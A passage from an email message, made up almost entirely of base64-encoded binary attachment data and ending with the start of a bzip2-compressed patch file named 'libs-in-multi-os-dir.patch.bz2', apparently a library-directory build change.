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 wA== --=-=-= Content-Type: application/x-bzip2 Content-Disposition: attachment; filename=libs-in-multi-os-dir.patch.bz2 Content-Transfer-Encoding: base64 QlpoOTFBWSZTWRHs2ksA5FffgH89f///////////////YKoe724U7ZHX06dmLsemuU2aGut3fWRS 76fRI1q74Hece5A1e++r3kfLdt7eXGz0LsNNIq5tbHLq7ZHdYaVyBOx52UAUF5YKaFWm23TviFDe Afb6wI7212Gh2d3e+3z0JhjW2RY4AAAOHEdbbGWRinmFmcrt57YAGqfbAAAA7WZAAAAtgZAADQAA A0AAD6A1Sgu7gAOhQAAAAFAAALu9tcLUEK3c67g46hKBSTQa0oGgoXWW1Bo00aVZWFFMpXqtwKW2 VaYhfb6HVFSkqgVUj0AyK4Ani6cAAQaMxgitNKoe2S+nk4wAN9zUgpUDoMFJC2sxK+WJSDtpGBC2 dZdtppVUj1qdsbSZSKkqSiNaqoWmWgZAABSlRVLrTk1IkpAKSpUTFgSqBfYMAqEERX0yPbAEib7h nCRIEAQE0ExGmkwnok9NEno9NVPaHpE1NNlN6p6nqb1T2o009RNDDU8mgUEkTSIU/UmmAJ6A0JtA JowmymCZGAAmmCDTaSU9QKeqeBNNT1BpkNPUAaMgAGmgAAAAAAk9UpRE01TJ6E9EzU0AA0AyAaBo AAAAAAAiSICAQBMmQ0TJiASeTJMTCZMieJMJgjSZMT1MFKSEEAmgmJoAmRoE0xGqep5TyntU/VPa U9M1NR5J5TamxGkMneKm5Q8Dw8bIIAefvSmURIyqqmNMpAANgN0MBOmFJMbKW6pIol3CF6endx1v NqVzmuorx3pL0pta5iwUDQkoIXqhKq1ghG5/zPFKIkSH3Nej+h60pJf3dR3QH/H4QLMaL/8f6l1f Xf+q0D0P8pf5fVFPbXBvR0x0CzW67U+9V9kIkvvw/+b5/Y6EChh+eDxaxtZ+DWm6PhSd8xtG1EY7 bvqx+9F5eYVXLcHa/EH1sYNpNpDbGGFw9iPwL5f/g/CUtV/pqQLgR1LGX4l3bMEkOCWGn4kHPyrc edNmXRMLUjaLgMnyYH3SJhl7xlCE5K5UJf+GQZseXVpv3I6yFddv0AWwZnPB1pa8HLp88dKGmjzR x/MzE3XhFhxsTT4r73mR3Wa38I1dvgjvOutbu8V6c1KJDrrxZ5GWF+gKw1S+fs45q/n7N+abrTBP SkSdq0uQ0PJlZX7oSLg1sjBFQSuLGnLtsig/kyi2O44B88ErYJWzEX6Z7UpUzjYBatyWBujzefjL 